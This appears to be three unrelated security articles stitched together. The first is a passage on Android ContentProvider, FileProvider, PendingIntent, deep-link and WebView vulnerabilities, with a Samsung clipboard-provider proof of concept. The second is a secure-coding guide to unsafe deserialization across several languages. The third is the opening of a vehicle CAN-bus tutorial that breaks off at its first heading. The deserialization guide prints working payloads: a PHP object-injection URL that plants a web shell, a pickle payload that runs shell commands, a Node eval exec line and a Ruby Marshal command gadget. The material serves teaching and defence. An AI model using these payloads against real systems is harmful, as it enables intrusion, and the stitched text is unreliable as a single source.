    android:singleUser="true"
    android:readPermission="android.permission.READ_SMS" />

If other applications want to access, they need to declare the corresponding permissions in the manifest file.

<uses-permission android:name="android.permission.READ_SMS" />

This is all well understood, and other components have similar characteristics. In addition, Provider itself provides more fine-grained permission control, namely grantUriPermissions . This is a boolean indicating whether to temporarily grant clients access to this provider. The operation process of temporarily granting permissions is generally as follows:

• The client sends an Intent to the application where the Provider is located, specifying the Content URI to be accessed, such as using startActivityForResultto send.

• After the application receives the Intent, it judges whether it is authorized. If it is confirmed, it prepares an Intent and sets the flags flag to FLAG_GRANT_[READ|WRITE]_URL_PERMISSIONindicate that it is allowed to read/write the corresponding Content URI (it may not be consistent with the requested URI), and finally setResult(code, intent)returns.

• The client's onActivityResult receives the returned Intent, and uses the URI to temporarily access the target Provider.

Take read as an example, Intent.flagsif FLAG_GRANT_READ_URI_PERMISSION is included in the Intent, the recipient of the Intent (ie the client) will be granted temporary read permission for Intent.datapart of the URI until the life cycle of the recipient ends. In addition, the Provider application can also actively call the Context.grantUriPermissionmethod to grant the corresponding permissions to the target application:

public abstract void grantUriPermission (String toPackage, 
                Uri uri, 
                int modeFlags)
public abstract void revokeUriPermission (String toPackage, 
                Uri uri, 
                int modeFlags)

The grantUriPermissions attribute can perform read-write control on permissions at the URI granularity, but there is one point to note: the permissions temporarily granted through grantUriPermissions will ignore the restrictions imposed by the readPermission, writePermission, permission, and exported attributes . In other words, even if exported=falsethe client does not apply for the corresponding one uses-permission, once the permission is granted, it can still access the corresponding Content Provider!

In addition, <provider>there is a sub-label grant-uri-permission . Even if grantUriPermissions is set to false, you can still access the URI subset defined under this label by temporarily obtaining permissions. This subset can use prefixes or wildcards to specify the authorized path of URI scope.

Improper setting of Provider permissions may lead to application data being accessed by unexpected malicious programs, which may lead to information leakage, or cause the sandbox data to be overwritten and cause RCE. We will see many such cases later.

FileProvider

As mentioned earlier, a custom Provider needs to implement six methods, but Android has written corresponding subclasses for Providers in some common scenarios. Users can inherit these subclasses and implement a few subclass methods as needed. One of the common scenarios is to use ContentProvider to share application files. The system provides FileProviderto facilitate application custom file sharing and access. However, if it is not used properly, arbitrary file reading and writing problems may occur.

FileProvider provides the function of using XML to specify file access control. Generally, Provider applications only need to inherit the FileProvider class:

public class MyFileProvider extends FileProvider {
   public MyFileProvider() {
       super(R.xml.file_paths)
   }
}

file_pathsis user-defined XML, and can also be specified in meta-datathe :

<provider xmlns:android="http://schemas.android.com/apk/res/android" android:name="com.evilpan.MyFileProvider" android:exported="false" android:authorities="com.evilpan.fileprovider" android:grantUriPermissions="true">
  <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@7F15000E"/>
</provider>

resourcepoint to res/xml/file_paths.xml. The file paths that can be accessed are defined in this file, and FileProvider will only generate Content URIs for files specified in advance. An example file path configuration is as follows:

<paths>
  <root-path name="root" path=""/>
  <files-path name="internal_files" path="."/>
  <cache-path name="cache" path=""/>
  <external-path name="external_files" path="images"/>
</paths>

pathsTags support multiple types of sub-tags, corresponding to sub-paths of different directories:

• files-path: Context.getFilesDir()

• cache-path: Context.getCacheDir()

• external-path: Environment.getExternalStorageDirectory()

• external-files-path: Context.getExternalFilesDir()

• external-cache-path: Context.getExternalCacheDir()

• external-media-path: Context.getExternalMediaDirs()[0]

More specifically root-path, it represents the root directory of the system/ . The URI format generated by FileProvider is generally content://authority/{name}/{path}, for example, for the above Provider, it can be content://com.evilpan.fileprovider/root/proc/self/mapsused to access /proc/self/mapsfiles.

It can be seen that the FileProvider specification root-pathis a dangerous sign. Once the attacker obtains temporary permissions, he can read all the private data of the application.

For example, there has been such a real loophole in the history of TikTok:

<provider android:name="android.support.v4.content.FileProvider" android:exported="false" android:authorities="com.zhiliaoapp.musically.fileprovider" android:grantUriPermissions="true">
        <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/k86"/>
    </provider>

It is used directly here FileProvider, without even needing inheritance. The content of the xml/k86.xml file is as follows:

<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:amazon="http://schemas.amazon.com/apk/res/android" xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto">
    <root-path name="name" path=""/>
    <external-path name="share_path0" path="share/"/>
    <external-path name="download_path2" path="Download/"/>
    <cache-path name="gif" path="gif/"/>
    ...
</paths>

After obtaining the temporary permission, the application can read and write arbitrary files.

The Hidden

In the ContentProvider class, in addition to the 6 methods that must be implemented, there are some other hidden methods, which are generally implemented by default or can be overridden by subclasses, such as

• openFile

• openFileHelper

• call

• ...

These hidden methods may inadvertently cause security problems. This section will analyze the reasons through some cases.

OpenFile

If ContentProvider wants to implement the function of reading and writing shared files, it can also be implemented by openFileoverriding the method. The default implementation of this method will throw FileNotFoundExceptionan exception.

Although the developer will not directly return the opened local file in implementation, but selectively return some subdirectory files. However, if the code is not written rigorously, problems such as path traversal may occur. A classic vulnerability implementation is as follows:

@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    File file = new File(getContext().getFilesDir(), uri.getPath());
    if(file.exists()){
        return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
    }
    throw new FileNotFoundException(uri.getPath());
}

Another similar method of the same family openAssetFile, whose default implementation calls openFile:

public @Nullable AssetFileDescriptor openAssetFile(@NonNull Uri uri, @NonNull String mode)
        throws FileNotFoundException {
    ParcelFileDescriptor fd = openFile(uri, mode);
    return fd != null ? new AssetFileDescriptor(fd, 0, -1) : null;
}

Sometimes developers know that they need to defend against path traversal, but the posture of defense is wrong, and there is also the possibility of being bypassed, for example:

public ParcelFileDescriptor openFile(Uri uri, String mode) {
    File f = new File(DIR, uri.getLastPathSegment());
    return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}

Here I want to use getLastPathSegmentto get only the file name of the last level, but in fact it can be bypassed by URL encoded path, for example %2F..%2F..path%2Fto%2Fsecret.txtwill return /../../path/to/secret.txt.

Yet another false defense is to use the UriMatcher.matchmethod to lookup ../, which is also bypassed by URL encoding. The correct way to defend and filter is as follows:

public ParcelFileDescriptor openFile (Uri uri, String mode) throws FileNotFoundException {
  File f = new File(DIR, uri.getLastPathSegment());
  if (!f.getCanonicalPath().startsWith(DIR)) {
    throw new IllegalArgumentException();
  }
  return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}

See: Path Traversal Vulnerability

OpenFileHelper

There is also a little-known openFileHelpermethod Its default implementation is to use the _datacolumn data in the current Provider to open the file. The source code is as follows:

protected final @NonNull ParcelFileDescriptor openFileHelper(@NonNull Uri uri,
        @NonNull String mode) throws FileNotFoundException {
    Cursor c = query(uri, new String[]{"_data"}, null, null, null);
    int count = (c != null) ? c.getCount() : 0;
    if (count != 1) {
        // If there is not exactly one result, throw an appropriate
        // exception.
        if (c != null) {
            c.close();
        }
        if (count == 0) {
            throw new FileNotFoundException("No entry for " + uri);
        }
        throw new FileNotFoundException("Multiple items at " + uri);
    }

    c.moveToFirst();
    int i = c.getColumnIndex("_data");
    String path = (i >= 0 ? c.getString(i) : null);
    c.close();
    if (path == null) {
        throw new FileNotFoundException("Column _data not found.");
    }

    int modeBits = ParcelFileDescriptor.parseMode(mode);
    return ParcelFileDescriptor.open(new File(path), modeBits);
}

The main function of this method is to facilitate subclasses to quickly implement the openFilemethod , and it is usually not directly overridden in subclasses. However, due to the feature of opening files based on _datacolumns , attackers may insert malicious data and indirectly achieve arbitrary file reading and writing.

A classic case is a Samsung phone SemClipboardProviderthat does not verify user data when plugged in:

public Uri insert(Uri uri, ContentValues values) {
    long row = this.database.insert(TABLE_NAME, "", values);
    if (row > 0) {
        Uri newUri = ContentUris.withAppendedId(CONTENT_URI, row);
        getContext().getContentResolver().notifyChange(newUri, null);
        return newUri;
    }
    throw new SQLException("Fail to add a new record into " + uri);
}

The Provider is in the system_serverprocess and has extremely high operating authority. By exploiting this vulnerability, an attacker can read and write arbitrary files at the system level. The PoC is as follows:

ContentValues vals = new ContentValues();
vals.put("_data", "/data/system/users/0/newFile.bin");
URI semclipboard_uri = URI.parse("content://com.sec.android.semclipboardprovider")
ContentResolver resolver = getContentResolver();
URI newFile_uri = resolver.insert(semclipboard_uri, vals);
return resolver.openFileDescriptor(newFile_uri, "w").getFd(); 

This vulnerability has been used in wild attacks together with other vulnerabilities and was captured by the Google TAG team. For the analysis of this Fullchain, please refer to Project Zero's recent article: A Very Powerful Clipboard: Analysis of a Samsung in-the-wild exploit chain

Call

The callmethod used to call the method defined by the server, and its function signature is as follows:

public Bundle call (String authority, 
                String method, 
                String arg, 
                Bundle extras)
public Bundle call (String method, 
                String arg, 
                Bundle extras)

The default implementation is an empty function that returns directly null. Developers can override this function to implement some dynamic methods, and the return value will also be passed back to the caller.

It looks similar to a regular RPC call, but there is a small trap here, which is also specially marked in the developer documentation: the Android system does not check the permissions of the callfunction , because the system does not know whether the data is read or written in the call , so it is impossible to judge based on the permission constraints defined in the Manifest. Therefore, developers are required to perform permission verification on the logic in the call.

If the developer implements this method, but does not perform verification or the verification is insufficient, unauthorized calls may occur. One case is CVE-2021-23243that in the implementation of HostContentProviderBasethe , DexClassLoader is used to directly load the incoming dex file, which directly causes the attacker's code to run in a privileged process, and all Providers that inherit this base class will be affected () .

In addition, in some system providers, some remote object instances can be obtained through the call method. For example, in the article Special attack surface in Android (3) - hidden call function , the SliceProviderauthor KeyguardSliceProviderobtained the internal system application through and The PendingIntent object is further used to realize the function of forging any broadcast.

Other

In addition to the above-mentioned vulnerabilities directly related to the four major components, there are many vulnerabilities in the Android system that are not easy to classify. This section mainly selects a few of the most common vulnerabilities for a brief introdu

PendingIntent

PendingIntent is a representation of Intent, not an Intent object itself, but a Parcelable object. After the object is passed to other applications, other applications can perform the operation specified by the pointed Intent as the sender. A PendingIntent is created using one of the following static methods:

• getActivity(Context, int, Intent, int);

• getActivities(Context, int, Intent[], int);

• getBroadcast(Context, int, Intent, int);

• getService(Context, int, Intent, int);

PendingIntent itself is just a reference to the raw data descriptor by the system, which can be roughly understood as Intent. Because of this, even after the application that created the PendingIntent is closed, other applications can still use the data. If the original app is later restarted and creates a PendingIntent with the same parameters, the PendingIntent actually returned will point to the same token as the one created earlier. Note that the filterEquals method is used to judge whether the Intents are the same, which will judge whether the action, data, type, identity, class, and categories are the same. Note that extrait is not listed here, so Intents with only different extras will also be considered equal.

Since PendingIntent can represent the characteristics of other applications, it may be used for abuse in some scenarios. For example, if a developer creates a default PendingIntent like this and passes it to other applications:

pi = PendingIntent.getActivity(this, 0, new Intent(), 0);
bundle.putParcelable("pi", pi)
// send bundle

After receiving the PendingIntent, the malicious application can obtain the original intent and use Intent.fillinto fill the empty field. If the original Intent is the above empty Intent, the attacker can modify it to a specific Intent, thereby using the target's identity to launch applications, including unexported private applications. A classic case is the early broadAnywhere vulnerability. The addAccount method in the Android Settings application creates a PendingIntent broadcast, but the content of the intent is empty, which leads to malicious applications that receive the intent to fill in the action of the broadcast, thereby achieving unauthorized transmission The system broadcasts to realize functions such as forging text messages and restoring factory settings.

In order to alleviate such problems, Andorid has made many restrictions on the rewriting of Intent.fillin, such as existing fields cannot be modified, component and selector fields cannot be modified (unless FILL_IN_COMPONENT/SELECTOR is additionally set), implicit Intent actions cannot be modified, etc. .

However, some researchers have proposed a method for exploiting implicit Intent, that is, by modifying the flag to add FLAG_GRANT_WRITE_URI_PERMISSION, and modifying the data URI to point to the victim's private Provider, changing the package to the attacker; at the same time, the attacker declares the same in its own Activity Intent filter, so that when the intent is forwarded, the attacker's application will be launched, and at the same time, the access authority of the target private Provider will be obtained, so as to realize the theft or overwriting of private files. For details about the attack idea, you can read the following reference article.

Deep Link

In most operating systems, there is the concept of deeplink, that is, to open a specific application through a custom schema. For example, by clicking https://evilpan.com/ , you can evoke the default browser to open the target page, clickwill bring up the dial interface, clickWill evoke WeChat, and so on. Regardless of other systems, in Android this is mainly achieved through implicit Intent.

If an application wants to register a similar custom protocol, it needs to declare it in the application manifest file:

<intent-filter>
  <action android:name="android.intent.action.VIEW"/>
  <category android:name="android.intent.category.DEFAULT"/>
  <category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="weixin" android:host="qr"/>
</intent-filter>

Because this type of implicit Intent can be triggered directly by clicking on a link, it is more popular with attackers. If the component that handles the corresponding Intent fails to filter the content passed in by the user, it is likely to cause a 1-click vulnerability. 

Webview

In the Andorid system, Webview is mainly used for the application to display webpage content in its own Activty, and provides some additional interfaces for developers to implement custom control. Higher scalability means more possibilities for errors, especially now that Android client development is declining, and Java development is also developing in the direction of "big front end". Many logics that were originally implemented using native applications have been gradually transferred to web pages, such as h5, applets, etc. In this way, the attack surface of webview has also expanded a lot.

Conventional Webview security issues are mainly related to some insecure configurations, such as overriding and onReceivedSslErrorignoring SSL errors, leading to man-in-the-middle attacks, and setAllowFileAccessFromFileURLsleakage of local private files. But now the vulnerabilities are more in JSBridge, which is a bridge between Java code and JavaScript code in web pages.

Due to the sandbox feature of the Webview or JS engine, the Javascript code in the webpage itself cannot perform many operations that can only be performed by native applications, such as sending broadcasts from Javascript, accessing application files, and so on. Due to the complexity of the business, many logics must be implemented in the Java layer or even the Native layer, so this requires the use of JSBridage. The traditional JSBridge is Webview.addJavascriptInterfaceimplemented , a simple example is as follows:

class JsObject {
    @JavascriptInterface
    public String toString() { return "injectedObject"; }
}
webview.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");

Java layer returns data to Javascript by directly using loadUrl to execute JS code. Of course, in addition to registering Bridge in this way, there are many application-specific implementations, such as using to console.logtransmit data and use onConsoleMessagecallbacks in the Java layer to receive. But in any case, this leads to an increase in the attack surface. Large-scale applications even register hundreds of jsapis for web page calls.

From the perspective of historical vulnerabilities, the main cause of the Webview vulnerability is the jsapi domain name verification problem and the vulnerability of the Bridge code itself, which will not be expanded due to space reasons.

References

• Galaxy Leapfrogging Galaxy Leapfrogging Pwning the Galaxy S8

• Chainspotting: Building Exploit Chains with Logic Bugs ( How to break Samsung S8 with 11 exploits )

• Huawei Mate 9 Pro Mobile Pwn2Own 2017

• Detect dangerous vulnerabilities in the TikTok Android app - Oversecured

• Mystique Vulnerability White Paper- JD Research Institute Information Security Laboratory

• HACKING XIAOMI'S ANDROID APPS - Part1

• Automating Pwn2Own with Jandroid

Unsafe Deserialization (also referred to as Insecure Deserialization) is a vulnerability wherein malformed and untrusted data input is insecurely deserialized by an application. It is exploited to hijack the logic flow of the application end might result in the execution of arbitrary code. Although this isn’t exactly a simple attack to employ, it featured in OWASP’s Top 10 most recent iteration as part of the Software and Data Integrity Failures risk, due to the severity of impact upon compromise.

The process of converting an object state or data structure into a storable or transmissible format is called serialization. Deserialization is its opposite - the process of extracting the serialized data to reconstruct the original object version.

Unsafe Deserialization issues arise when an attacker is able to pass ad hoc malicious data into user-supplied data to be deserialized. This could result in arbitrary object injection into the application that might influence the correct target behavior.

Impact

A successful Unsafe Deserialization attack can result in the full compromise of the confidentiality, integrity, and availability of the target system, and the oft-cited Equifax breach is probably the best example of the worst outcome that can arise. In Equifax’s case, an unsafe Java deserialization attack leveraging the Struts 2 framework resulted in remote code execution, which, in turn, led to the largest data breach in history.

Prevention

It is important to consider any development project from an architectural standpoint to determine when and where serialization is necessary. If it is unnecessary, consider using a simpler format when passing data.

In cases where it is impossible to forego serialization without disrupting the application’s operational integrity, developers can implement a range of defence-in-depth measures to mitigate the chances of being exploited.

• Use serialization that only permits primitive data types.

• Use a serialization library that provides cryptographic signature and encryption features to ensure serialized data are obtained untainted.

• Authenticate before deserializing.

• Use low privilege environments to isolate and run code that deserializes.

Finally, if possible, replace object serialization with data-only serialization formats, such as JSON.

Testing

Verify that serialization is not used when communicating with untrusted clients. If this is not possible, ensure that adequate integrity controls (and possibly encryption if sensitive data is sent) are enforced to prevent deserialization attacks including object injection.

OWASP ASVS: 1.5.2, 5.5.1, 5.5.3

Types of Deserializations

Unsafe Deserialization in .NET

Vulnerable Example

The .NET framework offers several instances of deserialization. Developers will likely be familiar with the following example, where some untrusted binary data is deserialized to create some objects:

[Serializable]
public class SomeClass
{
    public string SomeProperty { get; set; }
    public double SomeOtherProperty { get; set; }
}

class Program
{
    static void Main(string[] args)
    {
       BinaryFormatter binaryFormatter = new BinaryFormatter();
       MemoryStream memoryStream = new MemoryStream(File.ReadAllBytes("untrusted.file"));
       SomeClass obj = (SomeClass)binaryFormatter.Deserialize(memoryStream);
       Console.WriteLine(obj.SomeProperty);
       Console.WriteLine(obj.SomeOtherProperty);
    }
}

The above program merrily deserializes not only instances of SomeClass (even though a class cast error is raised for other objects), but also might be enough to trigger dangerous behaviors. For example, a malicious user could leverage publicly available tools such as ysoserial.net to easily craft payloads that exploit the presence of external libraries, and thus build a chain of gadgets that eventually lead to RCE.

Alternatively, an attacker with knowledge of the source code of the application could attempt to locate dangerous classes in the code base. For example, suppose that somewhere in the application, the following class is defined:

[Serializable]
public class DangerousClass
{
    private string path;

    public DangerousClass(String path) {
        this.path = path;
    }

    public ~DangerousClass() {
        File.Delete(path)
    }
}

The attacker is then able to build such objects locally using an arbitrary path as a parameter, serialize it, and finally feed it to the vulnerable application. When said object is eventually removed from memory by the garbage collector, the attacker gains the ability to delete arbitrary files in the system.

Prevention

Never pass user-supplied input to BinaryFormatter; the documentation states this explicitly:

The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they’re processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.

When possible, developers are encouraged to use other forms of data serialization, such as XML, JSON, or the BinaryReader and BinaryWriter classes. The latter is the recommended approach for binary serialization. For example, in the above scenario, the serialization phase could be implemented as:

var someObject = new SomeClass();
someObject.SomeProperty = "some value";
someObject.SomeOtherProperty = 3.14;

using (BinaryWriter writer = new BinaryWriter(File.Open("untrusted.file", FileMode.Create)))
{
    writer.Write(someObject.SomeProperty);
    writer.Write(someObject.SomeOtherProperty);
}

And in turn, the deserialization phase as:

var someObject = new SomeClass();
using (BinaryReader reader = new BinaryReader(File.Open("untrusted.file", FileMode.Open)))
{
    someObject.SomeProperty = reader.ReadString();
    someObject.SomeOtherProperty = reader.ReadDouble();
}

References

• OWASP - Deserialization Cheat Sheet Wikipedia - Serialization 

• Microsoft - BinaryFormatter security guide

Unsafe Deserialization in Java

Java implements serialization natively for objects that implement the Serializable interface via the ObjectInputStream and ObjectOutputStream facilities. The binary format used directly references classes by name that are eventually loaded dynamically, provided that they are in the class path. This potentially allows instantiating objects of classes not initially intended by the developer, thus it is very important that untrusted data is not deserialized as is.

Developers may customize some aspects of the serialization process by providing callbacks such as writeReplace and readResolve. This could be exploited by an attacker to build chains by building complex objects that eventually lead to code execution or other actions on the target. Especially when complex and well-known libraries and frameworks are used, attackers may leverage publicly available tools such as ysoserial to easily craft the appropriate payload.

Vulnerable Example

The following Spring controller uses the data coming from the client request to deserialize an object:

@Controller
public class MyController {
    @RequestMapping(value = "/", method = GET)
    public String index(@CookieValue(value = "myCookie") String myCookieString) {
        // decode the Base64 cookie value
        byte[] myCookieBytes = Base64.getDecoder().decode(myCookieString);

        // use those bytes to deserialize an object
        ByteArrayInputStream buffer = new ByteArrayInputStream(myCookieBytes);
        try (ObjectInputStream stream = new ObjectInputStream(buffer)) {
            MyObject myObject = stream.readObject();

            // ...
        }
    }
}

Prevention

Never pass user-supplied input to the Java deserialization mechanism, and opt for data-only serialization formats such as JSON.

If the deserialization of untrusted data is really necessary, consider adopting an allow list approach to only allow objects of certain classes to be deserialized.

Since Java version 9, it has been possible to specify a deserialization filter in several ways. One example is to use the setObjectInputFilter method for ObjectInputStream objects before their use. The setObjectInputFilter method takes, as an argument, a method that implements the filtering logic. The following filter only allows one to deserialize instances of the MyClass class:

ObjectInputStream objectInputStream = new ObjectInputStream(buffer);
stream.setObjectInputFilter(MyFilter::myFilter);

public class MyFilter {
    static ObjectInputFilter.Status myFilter(ObjectInputFilter.FilterInfo info) {
        Class<?> serialClass = info.serialClass();
        if (serialClass != null) {
            return serialClass.getName().equals(MyClass.class.getName())
                    ? ObjectInputFilter.Status.ALLOWED
                    : ObjectInputFilter.Status.REJECTED;
        }
        return ObjectInputFilter.Status.UNDECIDED;
    }
}

Alternatively, it is possible to implement a similar solution by specializing the implementation of the ObjectInputStream object. The following snippet only allows one to deserialize instances of the MyClass class:

public class MyFilteringInputStream extends ObjectInputStream {
    public MyFilteringInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass objectStreamClass) throws IOException, ClassNotFoundException {
        if (!objectStreamClass.getName().equals(MyClass.class.getName())) {
            throw new InvalidClassException("Forbidden class", objectStreamClass.getName());
        }
        return super.resolveClass(objectStreamClass);
    }
}

It is then possible to invoke the deserialization in the usual way:

ObjectInputStream objectInputStream = new MyFilteringInputStream(buffer);
objectInputStream.readObject();

References

• OWASP - Deserialization Cheat Sheet 

• Wikipedia Serialization Oracle

• Serializable Oracle

• Serialization Filtering 

• GitHub - Ysoserial

Unsafe Deserialization in NodeJS

Vulnerable example

Unlike PHP or Java, Node.js (JavaScript) does not provide advanced forms of object serialization, yet the JSON (JavaScript Object Notation) format is often used to convert JavaScript data object from/to a string representation. Before the relative recent addition of the JSON.parse method to ECMAScript, developers used to deserialize objects using the eval function. The following snippet illustrates this bad practice:

function myJSONParse(data) {
    return eval(`(${data})`);
}

If data is controlled by the attacker, it becomes trivial to inject arbitrary JavaScript code. For example, the following invocation executes a shell script that writes the output of the id command to /tmp/proof:

myJSONParse("require('child_process').exec('id > /tmp/proof')"

Prevention

The correct way to serialize and deserialize JavaScript objects is to use the provided JSON global object. For example:

const object = {foo: 123};
JSON.stringify(object) // '{"foo":123}'
JSON.parse('{"foo":123}') // { foo: 123 }

References

• Wikipedia - Serialization

• OWASP - OWASP Top 10:2021 Software and Data Integrity Failure

• MDN - JSON

Unsafe Deserialization in PHP

PHP uses serialize() and unserialize() native functions to serialize and unserialize an object. For example, the following script creates an instance of the object FSResource, serializes it, and then prints the string representation of the object.

<?php

class FSResource {

    function __construct($path) {
        $this->path = $path;
        if (file_exists($path)) {
          $this->content = file_get_contents($path);
        }
    }

    function __destruct() {
        file_put_contents($this->path, $this->content);
    }

}

$resource = new FSResource('/tmp/file');
print(serialize($resource));

# Prints the following string representation:
# O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}

The string representation can then be deserialized again to recreate the object instance and access its attributes.

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file

Vulnerable Example

The exploitation of deserialization in PHP is called PHP Object Injection, which happens when user-controlled input is passed as the first argument of the unserialize() function. This is a vulnerable script.php:

<?php

$instance = unserialize($_GET["data"]);

To be exploitable, the vulnerable piece of code must have enough PHP code in scope to build a working POP chain, a chain of reusable PHP code that causes a meaningful impact when invoked. The chain usually starts by triggering __destroy() or __wakeup() PHP magic methods, called when the object is destroyed or deserialized, in order to call other gadgets to conduct malicious actions on the system.

If the class FSResource defined in the paragrah above is in scope, an attacker could send an HTTP request containing a serialized representation of an FSResource object that creates a malicious PHP file to path with an arbitrary content when the __destruct() magic method is called upon destruction.

http://localhost/script.php?data=O:10:%22FSResource%22:2:{s:4:%22path%22;s:9:%22shell.php%22;s:7:%22content%22;s:27:%22%3C?php%20system($_GET[%22cmd%22]);%22;}

The payload above decodes as O:10:"FSResource":2:{s:4:"path";s:9:"shell.php";s:7:"content";s:27:"<?php system($_GET["cmd"]);";} and, when deserialized, it creates the shell.php allowing the attacker to run arbitrary commands on the systems. More complex payloads can be built by chaining code from multiple classes or reusing public POP chains such as the ones included in the PHPGCC projects.

Prevention

Never use the unserialize() function on user-supplied input, and preferably use data-only serialization formats such as JSON. If you need to use PHP deserialization, a second optional parameter has been added in PHP 7 that enables you to specify an allow list of allowed classes.

References

• Wikipedia - Serialization

• PHP unserialize 

• OWASP PHP Object Injection

• POC 2009 - Stefan Esser Shoking news in PHP exploitation

• BlackHat USA 2010 - Stefan Esser - Utilizing Code Reuse in PHP Application Exploits 

• PHPGCC

Unsafe Deserialization in Python

Vulnerable example

Python provides a native solution for this problem - the pickle library. The following Flask endpoint provides an example where untrusted data is fed into the pickle.loads function:

import pickle

@app.route("/import_object", methods=['POST'])
def import_object():
    data = request.files.get('user_file').read()
    user_object = pickle.loads(data)
    store_in_database(user_object)
    return 'OK'

A malicious user could craft a payload that evaluates as code when unpickled. The Python program below outputs a payload that executes a system command when processed by pickle.loads:

import pickle
import os

class Pickle(object):
    def __reduce__(self):
        return os.system, ('id > /tmp/proof',)

o = Pickle()
p = pickle.dumps(o)
print(p)

The _reduce_ method provides the logic to unserialize/serialize the object. When a tuple is returned, the first element is a callable, and the second represents its argument. Thus, it is possible to execute system commands by using the os.system function. In the above case, the payload writes the output of the id command to /tmp/proof. Here is an example:

sf@secureflag.com:~$ python3 generate.py
b'\x80\x03cposix\nsystem\nq\x00X\x0f\x00\x00\x00id > /tmp/proofq\x01\x85q\x02Rq\x03.'
sf@secureflag.com:~$ python3
>>> import pickle
>>> pickle.loads(b'\x80\x03cposix\nsystem\nq\x00X\x0f\x00\x00\x00id > /tmp/proofq\x01\x85q\x02Rq\x03.')
0
sf@secureflag.com:~$ cat /tmp/proof
uid=1000(sf) gid=1000(sf) groups=1000(sf)

Prevention

The pickle library’s documentation discourages the unpickling of untrusted data and suggests using data-only serialization formats such as JSON.

If you really need to unserialize content from an untrusted source, consider implementing a message authentication code (MAC) to ensure the data integrity of the payload.

References

• OWASP - Deserialization Cheat Sheet 

• Wikipedia - Serialization

Unsafe Deserialization in Ruby

Ruby uses the Marshal library to serialize and unserialize objects. For example, the following script creates an instance of the object User, serializes it, and then prints the string representation of the object.

User = Struct.new(:name, :role)
user = User.new('Mike', :admin)
puts Marshal.dump(user).inspect

# Prints the following string representation:
# "\x04\bS:\tUser\a:\tnameI\"\tMike\x06:\x06ET:\trole:\nadmin"

The string representation can then be deserialized again to recreate the object instance and access its attributes.

user = Marshal.load("\x04\bS:\tUser\a:\tnameI\"\tMike\x06:\x06ET:\trole:\nadmin")
print(user.name);

# It prints the following string:
# Mike

Vulnerable Example

The exploitation of deserialization in Ruby happens when user-controlled input is passed as the first argument of the Marshal.load() function.

To be exploitable, the vulnerable piece of code must have enough Ruby code in scope to build a gadget chain, which means a chain of reusable code that causes a meaningful impact when invoked.

For example, assume that Marshal.load() deserializes user-provided data. An attacker could craft a malicious payload like the following one, which abuses an existing class to execute a command when deserialized.

class FSResource
  def initialize path
    @path    = path
  end

  def to_s
    open(@path).read
  end
end

# Craft the payload to execute `id` via the `open` function instead of opening a file
obj = FSResource.new('|id')
payload = Marshal.dump(obj)

# Unserializing the payload allows to execute arbitrary commands
serialized_obj = Marshal.load(payload)
puts serialized_obj

# It prints the output of id:
# uid=1002(admin) gid=1002(admin) groups=1002(admin)

Unsafe Deserialization in Scala

Scala (the same as Java) implements serialization natively for objects that implement the Serializable interface via the ObjectInputStream and ObjectOutputStream facilities. The binary format used directly references classes by name that are eventually loaded dynamically, provided that they are in the class path. This potentially allows instantiating objects of classes not initially intended by the developer, thus it is very important that untrusted data is not deserialized as is.

Developers may customize some aspects of the serialization process by providing callbacks such as writeReplace and readResolve. This could be exploited by an attacker to build chains by building complex objects that eventually lead to code execution or other actions on the target. Especially when complex and well-known libraries and frameworks are used, attackers may leverage publicly available tools such as ysoserial to easily craft the appropriate payload.

Vulnerable Example

The following Play controller uses the data coming from the client request to deserialize an object:

def handler() =
  AuthAction(parse.multipartFormData) { implicit request => {
    request.body.file("file") match {
      case Some(file) => {
        // deserialize data from Base64 file upload
        val base64Data = new String(Files.readAllBytes(Paths.get(file.ref.path.toString()))).trim()
        val data = Base64.getDecoder().decode(base64Data)
        val ois = new ObjectInputStream(new ByteArrayInputStream(data))
        val object = ois.readObject().asInstanceOf[MyClass]
        ois.close()

        // ...
      }
      case None => InternalServerError("...")
    }
  }
}

Prevention

Never pass user-supplied input to the Scala deserialization mechanism, and opt for data-only serialization formats such as JSON.

If the deserialization of untrusted data is really necessary, consider adopting an allow list approach to only allow objects of certain classes to be deserialized.

It is possible to specialize the implementation of the ObjectInputStream object. The following snippet only allows one to deserialize instances of the MyClass class:

class SafeInputStream(inputStream: InputStream) extends ObjectInputStream(inputStream) {
  override def resolveClass(objectStreamClass: java.io.ObjectStreamClass): Class[_] = {
    objectStreamClass.getName match {
      case "MyClass" | "scala.Some" | "scala.Option" => super.resolveClass(objectStreamClass)
      case _ => throw new InvalidClassException("Forbidden class", objectStreamClass.getName)
    }
  }
}

It is then possible to invoke the deserialization in the usual way:

val ois = new SafeInputStream(new ByteArrayInputStream(data))
val object = ois.readObject().asInstanceOf[MyClass]

References

• OWASP - Deserialization Cheat Sheet

• Wikipedia - Serialization 

• Oracle - Serializable 

• Oracle - Serialization Filtering 

• GitHub - Ysoserial

Internet of Vehicles security is currently a popular development direction, but most people are stuck here because its entry threshold is too high (no real car). So I summed up the relevant information on the Internet and wrote this article so that students who study the security of the Internet of Vehicles can simulate what it feels like to control a car. This article uses Ubuntu to simulate the sending and receiving packets of the car CAN bus for operation. Learn, and then follow me step by step to open the door to the security of the Internet of Vehicles!

CAN

